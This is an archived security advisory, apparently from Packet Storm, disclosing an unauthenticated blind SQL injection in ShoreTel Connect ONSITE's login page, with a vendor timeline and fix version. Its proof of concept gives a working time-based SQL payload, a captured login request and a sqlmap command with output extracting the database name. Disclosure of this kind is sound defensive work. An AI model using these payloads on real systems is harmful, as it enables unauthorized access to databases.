what you don't know can hurt you

ShoreTel Connect ONSITE Blind SQL Injection

ShoreTel Connect ONSITE Blind SQL Injection
Posted Sep 19, 2016
Authored by Iraklis Mathiopoulos

ShoreTel Connect ONSITE versions 20.xx.xxxx.x and 21.xx.xxxx.x up to 21.79.4311.0 suffer from an unauthenticated remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | f79a4ca30062360e0dd39f25e54313b7

ShoreTel Connect ONSITE Blind SQL Injection

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

ShoreTel Connect ONSITE Blind SQL Injection Vulnerability
=======================================================================
vulnerability type: Unauthenticated Blind SQL Injection
product: ShoreTel Connect ONSITE
vulnerable version: 20.xx.xxxx.x and 21.xx.xxxx.x up to 21.79.4311.0
fixed version: 21.79.9308.0
homepage:
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
discovery: 2016-07
by: Iraklis Mathiopoulos

https://medium.com/@iraklis
========================================================================

Vendor description:
- -------------------
"ShoreTel is one of the largest providers of cloud, premises-based and hybrid
business telephony and unified communications (UC) solutions. Our award-winning,
brilliantly simple communications offerings lead the industry in customer
satisfaction and lowest total cost of ownership. Our innovative business phones,
application integration, collaboration tools, mobility, and contact center
applications empower organizations and employees to collaborate,
connect and work
no matter time, place or device."

URL: https://www.shoretel.com/


Vulnerability overview/description:
- -----------------------------------
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable
to a Blind SQL Injection in /authenticate.php, on the webserver that
is running the
Conference system.

Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.

No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.


Proof of Concept:
- -----------------

req.burp:
- ---
POST https://conference.shoretel.com/authenticate.php HTTP/1.1
Host: conference.shoretel.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://conference.shoretel.com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In
- ---

root@kali:~/projects# sqlmap -r req.burp -p username --dbms=mysql
--technique=T --time-sec=10 --level=5 --risk=3 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201607120a89}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org


[*] starting at 19:59:34

[19:59:34] [INFO] parsing HTTP request from 'req.burp'
[19:59:34] [INFO] testing connection to the target URL
[19:59:42] [INFO] checking if the target is protected by some kind of
WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
- ---
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE
'jIev&vpassword=&SUBMIT1=Sign In
- ---
[19:59:54] [INFO] testing MySQL
[20:02:25] [INFO] confirming MySQL
[20:03:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:03:12] [INFO] fetching current database
[20:03:12] [INFO] retrieved: shoreware
current database: 'shoreware'
[20:21:10] [INFO] fetched data logged to text files under
'/root/.sqlmap/output/conference.shoretel.com'

[*] shutting down at 20:21:10



Vulnerable / tested versions:
- -----------------------------
Version 21.79.4311.0 of ShoreTel Connect ONSITE was found to be
vulnerable. This version was the latest version at the time of the
discovery.


Vendor contact timeline:
- ------------------------
2016-07-23: Initial email was sent to multiple Vendor email addresses
2016-07-24: Initial Vendor reply acknowledging email receipt
2016-07-26: Email from vendor requiring more information
2016-07-26: Reply with full technical details
2016-08-04: Vendor releases upgrade fixing the vulnerability
2016-08-30: Email to CERT
2016-09-06: CERT alerts CERT-US
2016-09-19: Public Disclosure


Solution:
- ---------
The latest version of ShoreTel Connect ONSITE should be installed
immediately. This update can be found at:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK

Related ShoreTel security bulletin:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBCAAGBQJX3+ClAAoJECvKFEKpDztj9uoIAILxYo5lZNzCiuAvQXqrD5yU
p0JV9Nkb/G3hMX8I+VXDIbm1mPla/TLZYR59jcVrNTP+m+crX4Rd3f/n4GiuWPIK
6XkZYULtSvQkNWPqS6+NBlcol6KTkEgtfeXXGZrJNVHy/Bl0BSCAPInSXAkw0/A9
Gnjv49axwFGC17txR5s+Polc918X6DBFpu+7Xgj0yAEats/yS/E//BR3y+0FUUmg
UxI73hEtMe6MPH8Dzhi/DkIFOHtY30bK3Zy+CX8qTNP8WiqCivxiVdCnXev0TU/z
lXKasg9eo/o8JGa/xKD9l/JPYnbAPyyY+FYKuCcXZNk40i8v5cFCWjrbQFb4Clc=
=GfVw
-----END PGP SIGNATURE-----


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    2 Files
  • 18
    Feb 18th
    27 Files
  • 19
    Feb 19th
    32 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close